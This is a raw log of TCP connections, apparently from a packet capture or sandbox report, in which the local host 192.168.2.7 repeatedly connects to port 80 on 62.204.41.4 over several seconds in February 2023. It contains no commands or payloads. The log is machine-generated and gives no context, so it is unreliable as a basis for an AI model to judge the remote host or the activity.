Feb 7, 2023 23:08:45.054389000 CET	50076	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.054730892 CET	80	50075	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.054807901 CET	50075	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.114739895 CET	80	50076	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.116996050 CET	80	50076	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.117147923 CET	50076	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.228831053 CET	50076	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.230046988 CET	50077	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.289427042 CET	80	50076	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.290988922 CET	50076	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.292521954 CET	80	50077	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.296164989 CET	50077	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.296740055 CET	50077	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.359294891 CET	80	50077	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.363030910 CET	80	50077	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.363147020 CET	50077	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.481761932 CET	50077	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.482449055 CET	50078	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.542428017 CET	80	50078	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.545043945 CET	80	50077	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.545342922 CET	50077	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.546072960 CET	50078	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.546416044 CET	50078	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.605709076 CET	80	50078	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.609366894 CET	80	50078	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.609771013 CET	50078	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.727711916 CET	50078	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.728585958 CET	50079	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.787003040 CET	80	50078	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.788132906 CET	50078	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.790872097 CET	80	50079	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.791090012 CET	50079	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.791596889 CET	50079	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.853821039 CET	80	50079	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.856878042 CET	80	50079	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.860141039 CET	50079	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.976572037 CET	50079	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.977499962 CET	50080	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.039026976 CET	80	50079	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.039056063 CET	80	50080	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.039208889 CET	50079	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.039314032 CET	50080	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.056281090 CET	50080	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.117912054 CET	80	50080	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.123063087 CET	80	50080	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.126193047 CET	50080	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.250727892 CET	50080	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.251770020 CET	50081	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.312453032 CET	80	50080	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.312654972 CET	50080	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.314310074 CET	80	50081	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.314722061 CET	50081	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.318732977 CET	50081	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.381968021 CET	80	50081	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.383594036 CET	80	50081	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.383724928 CET	50081	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.495588064 CET	50081	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.496296883 CET	50082	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.558018923 CET	80	50081	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.558257103 CET	50081	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.558480024 CET	80	50082	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.558619022 CET	50082	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.560439110 CET	50082	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.622868061 CET	80	50082	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.625701904 CET	80	50082	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.625833035 CET	50082	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.745138884 CET	50082	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.747268915 CET	50083	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.807883024 CET	80	50082	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.808010101 CET	50082	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.810139894 CET	80	50083	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.810333014 CET	50083	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.810774088 CET	50083	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.873680115 CET	80	50083	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.876943111 CET	80	50083	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:46.877111912 CET	50083	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.992355108 CET	50083	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:46.993904114 CET	50084	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.055259943 CET	80	50083	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.055349112 CET	50083	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.056343079 CET	80	50084	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.056885004 CET	50084	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.056885004 CET	50084	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.119499922 CET	80	50084	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.123337030 CET	80	50084	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.124001026 CET	50084	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.241370916 CET	50084	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.244569063 CET	50085	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.304095984 CET	80	50084	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.304332972 CET	50084	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.305890083 CET	80	50085	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.306026936 CET	50085	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.307738066 CET	50085	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.369065046 CET	80	50085	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.372236013 CET	80	50085	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.372391939 CET	50085	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.504553080 CET	50085	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.505518913 CET	50086	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.566410065 CET	80	50085	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.566502094 CET	50085	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.567020893 CET	80	50086	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.567173004 CET	50086	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.567671061 CET	50086	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.629363060 CET	80	50086	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.632725000 CET	80	50086	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.632853985 CET	50086	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.745784998 CET	50086	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.746654034 CET	50087	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.807737112 CET	80	50086	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.807905912 CET	50086	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.808943987 CET	80	50087	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.809115887 CET	50087	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.809633017 CET	50087	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.872031927 CET	80	50087	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.874619007 CET	80	50087	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:47.874775887 CET	50087	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.991877079 CET	50087	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:47.992847919 CET	50088	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.054548979 CET	80	50087	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.054739952 CET	50087	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.055248022 CET	80	50088	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.055403948 CET	50088	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.057972908 CET	50088	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.120238066 CET	80	50088	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.123852015 CET	80	50088	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.123992920 CET	50088	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.226895094 CET	50088	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.228007078 CET	50089	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.289439917 CET	80	50088	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.290499926 CET	80	50089	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.290683031 CET	50088	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.290787935 CET	50089	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.291497946 CET	50089	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.355173111 CET	80	50089	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.359700918 CET	80	50089	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.362487078 CET	50089	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.476598024 CET	50089	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.477538109 CET	50090	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.537792921 CET	80	50090	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.537960052 CET	50090	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.539035082 CET	80	50089	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.539397955 CET	50089	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.540225983 CET	50090	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.600578070 CET	80	50090	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.605078936 CET	80	50090	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.605351925 CET	50090	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.711560965 CET	50090	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.712395906 CET	50091	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.772080898 CET	80	50090	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.772869110 CET	80	50091	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.773030043 CET	50090	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.773088932 CET	50091	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.773540020 CET	50091	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.834050894 CET	80	50091	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.838476896 CET	80	50091	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:48.839436054 CET	50091	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.945988894 CET	50091	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:48.946815014 CET	50092	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.006804943 CET	80	50091	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.006959915 CET	50091	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.008729935 CET	80	50092	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.011403084 CET	50092	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.011979103 CET	50092	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.073590040 CET	80	50092	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.082272053 CET	80	50092	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.082391977 CET	50092	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.211143017 CET	50092	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.213186979 CET	50093	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.272967100 CET	80	50092	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.273118019 CET	50092	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.275667906 CET	80	50093	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.275789022 CET	50093	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.276434898 CET	50093	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.341233015 CET	80	50093	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.342191935 CET	80	50093	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.342387915 CET	50093	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.445919037 CET	50093	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.448694944 CET	50094	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.508783102 CET	80	50093	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.508862972 CET	80	50094	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.508940935 CET	50093	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.509094954 CET	50094	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.510005951 CET	50094	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.570405960 CET	80	50094	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.573791981 CET	80	50094	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.573999882 CET	50094	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.680809021 CET	50094	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.682087898 CET	50095	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.741355896 CET	80	50094	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.741523027 CET	50094	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.742511988 CET	80	50095	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.742674112 CET	50095	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.744924068 CET	50095	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.805344105 CET	80	50095	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.807482958 CET	80	50095	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.807679892 CET	50095	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.924143076 CET	50095	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.925052881 CET	50096	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.984713078 CET	80	50095	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.984909058 CET	50095	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.986526012 CET	80	50096	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:49.986674070 CET	50096	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:49.987227917 CET	50096	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.048609972 CET	80	50096	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:50.054502964 CET	80	50096	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:50.054665089 CET	50096	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.314798117 CET	50096	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.317449093 CET	50097	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.376481056 CET	80	50096	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:50.376666069 CET	50096	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.380013943 CET	80	50097	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:50.380225897 CET	50097	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.388047934 CET	50097	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.450807095 CET	80	50097	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:50.452862024 CET	80	50097	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:50.453017950 CET	50097	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.608170986 CET	50097	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.608937979 CET	50098	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.670994997 CET	80	50097	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:50.671147108 CET	50097	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.671381950 CET	80	50098	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:50.671545029 CET	50098	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.686542034 CET	50098	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.749217987 CET	80	50098	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:50.752957106 CET	80	50098	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:50.753036976 CET	50098	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.875065088 CET	50098	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.875832081 CET	50099	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.938539982 CET	80	50098	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:50.939220905 CET	80	50099	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:50.943898916 CET	50098	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.943958998 CET	50099	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:50.963557959 CET	50099	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.026320934 CET	80	50099	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.029182911 CET	80	50099	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.031534910 CET	50099	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.143434048 CET	50099	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.144500017 CET	50100	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.205826998 CET	80	50099	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.206862926 CET	80	50100	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.207317114 CET	50099	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.207361937 CET	50100	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.207784891 CET	50100	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.270020008 CET	80	50100	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.273344040 CET	80	50100	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.275906086 CET	50100	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.411542892 CET	50100	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.412549973 CET	50101	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.474072933 CET	80	50100	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.474109888 CET	80	50101	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.474298000 CET	50100	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.474373102 CET	50101	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.475050926 CET	50101	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.537348986 CET	80	50101	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.541920900 CET	80	50101	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.559293985 CET	50101	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.684351921 CET	50101	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.685106039 CET	50102	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.746083975 CET	80	50101	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.746191978 CET	50101	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.747143030 CET	80	50102	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.747303009 CET	50102	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.747853041 CET	50102	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.810167074 CET	80	50102	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.813720942 CET	80	50102	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.813832998 CET	50102	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.925494909 CET	50102	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.927629948 CET	50103	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.987365961 CET	80	50103	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.987864017 CET	80	50102	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:51.991767883 CET	50102	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.991777897 CET	50103	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:51.993571043 CET	50103	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.053162098 CET	80	50103	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.057198048 CET	80	50103	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.071615934 CET	50103	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.184036970 CET	50103	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.185439110 CET	50104	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.243684053 CET	80	50103	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.243784904 CET	50103	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.246850967 CET	80	50104	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.247317076 CET	50104	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.249237061 CET	50104	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.310749054 CET	80	50104	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.314605951 CET	80	50104	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.316855907 CET	50104	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.454054117 CET	50104	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.455044031 CET	50105	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.515584946 CET	80	50105	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.515620947 CET	80	50104	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.526456118 CET	50104	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.526470900 CET	50105	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.555967093 CET	50105	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.616616011 CET	80	50105	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.620795965 CET	80	50105	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.624058008 CET	50105	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.748183012 CET	50105	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.749161005 CET	50106	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.808768988 CET	80	50105	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.809305906 CET	80	50106	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.813563108 CET	50105	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.813606977 CET	50106	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.814624071 CET	50106	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.875035048 CET	80	50106	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.877818108 CET	80	50106	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:52.877882957 CET	50106	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.988014936 CET	50106	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:52.988874912 CET	50107	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.048360109 CET	80	50107	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.048396111 CET	80	50106	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.057537079 CET	50106	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.057545900 CET	50107	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.058284998 CET	50107	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.117636919 CET	80	50107	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.122720003 CET	80	50107	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.125456095 CET	50107	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.258265018 CET	50107	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.259951115 CET	50108	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.317884922 CET	80	50107	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.318067074 CET	50107	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.321386099 CET	80	50108	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.334717989 CET	50108	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.335185051 CET	50108	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.396513939 CET	80	50108	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.401114941 CET	80	50108	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.401972055 CET	50108	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.523446083 CET	50108	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.524657965 CET	50109	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.585025072 CET	80	50108	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.585161924 CET	50108	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.586137056 CET	80	50109	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.586754084 CET	50109	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.586754084 CET	50109	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.649945021 CET	80	50109	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.653393984 CET	80	50109	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.653819084 CET	50109	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.766614914 CET	50110	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.766946077 CET	50109	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:53.827218056 CET	80	50110	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:53.827455044 CET	50110	80	192.168.2.7	62.204.41.4
